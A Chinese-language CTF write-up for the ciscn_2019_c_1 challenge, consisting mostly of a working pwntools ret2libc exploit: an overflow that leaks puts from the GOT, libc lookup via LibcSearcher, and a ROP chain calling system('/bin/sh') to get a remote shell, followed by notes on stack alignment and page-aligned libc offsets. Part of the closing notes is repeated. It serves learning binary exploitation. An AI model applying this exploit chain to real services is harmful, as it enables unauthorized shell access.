经典ret2libc,着实恶心到我了。前后捣鼓了将近3、4个小时,勉强把原理理解透彻。 边做题边C语言:艹! 输入字符串s加密逻辑: 1、如果是小写字母跟0xD异或 2、如果是大写字母跟0xE异或 3、如果是数字跟0xF异或 [ASCII码对照表]:(http://c.biancheng.net/c/ascii/) LibcSearcher工具:https://github.com/dev2ero/LibcSearcher
from pwn import *
from LibcSearcher import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')
# io = process('ciscn_2019_c_1')
io = remote('redirect.do-not-trust.hacking.run', 10312)
elf = ELF('./ciscn_2019_c_1')
// 本地换了多个版本libc打
# libc = ELF('./libc-2.27.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
# ROPgadget --binary ciscn_2019_c_1 --only 'pop|ret'
pop_rdi_ret = 0x0000000000400c83
# ROPgadget --binary ciscn_2019_c_1 --only 'ret'
ret_addr = 0x00000000004006b9
io.sendlineafter('Input your choice!\n', '1')
// '\0'用来strlen函数绕过,防止输入加密字符串s被加密,第一个payload用来获得libc
# payload = b'\0' + b'a' * (0x50 + 0x08 - 0x01) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
payload = b'a' * 0x58 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
io.sendlineafter('Input your Plaintext to be encrypted\n', payload)
# io.recvuntil('Ciphertext\n')
io.recvline()
io.recvline()
// 接收puts函数打印回显值,截取低三位,分页机制导致libc后三位恒不变,加以区分。
# puts_addr = u64(io.recv(7)[:-1].ljust(8,b'\x00'))
# puts_addr = u64(io.recvuntil('\n',drop=True).ljust(8,b'\x00'))
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
// 工具获取libc版本号并计算偏移值,然后计算后门函数内存地址。
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
// 本地libc计算相应内存地址。
# libc_base = puts_addr - libc.symbols['puts']
# system_addr = libc_base + libc.symbols['system']
# binsh_addr = libc_base + libc.search('/bin/sh').next()
io.sendlineafter('Input your choice!\n', b'1')
// 第二个payload用来获取shell,高版本libc加上ret来平衡堆栈。
payload7 = b'\0' + b'a' * (0x50 + 0x08 - 0x01) + p64(ret_addr) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
# payload7 = b'\0' + b'a' * (0x50 + 0x08 - 0x01) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
# payload7 = b'a' * 0x58 + p64(ret_addr) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
sleep(1)
io.sendlineafter('encrypted\n', payload7)
# io.shutdown('send')
io.interactive()
[栈平衡和栈转移(Stack-Pivot) | 偏有宸机 (gitee.io)]:(https://oneda1sy.gitee.io/2020/02/24/stack-balance/)
思考: 1、32位和64位泄露libc的payload和shell的payload如何构造; 2、libc低三位决定版本号的原因:分页机制; 3、完整逆向程序,看懂代码逻辑; 4、栈平衡原理; 5、plt和got表,延迟绑定机制; 6、bug、bug、bug,炸裂再修补; 7、忍不住爆句粗口,👴要去做堆题了。 定版本号的原因:分页机制; 3、完整逆向程序,看懂代码逻辑; 4、栈平衡原理; 5、plt和got表,延迟绑定机制; 6、bug、bug、bug,炸裂再修补; 7、忍不住爆句粗口,👴要去做堆题了。
北岛静石师傅:
不同libc版本代码会有修改, 导致它基地址会发生改变
然后由于页对齐机制
4kb为一页
4kb=4*1024=2^12=0x1000
所有页都是这样对齐的, 所以在分配给动态链接库的时候
不会影响到低三字节
由此可以确定版本信息了
那种分配给动态链接库的内存, 也是n个页
n*0x1000怎么样都不会影响低三字节的
|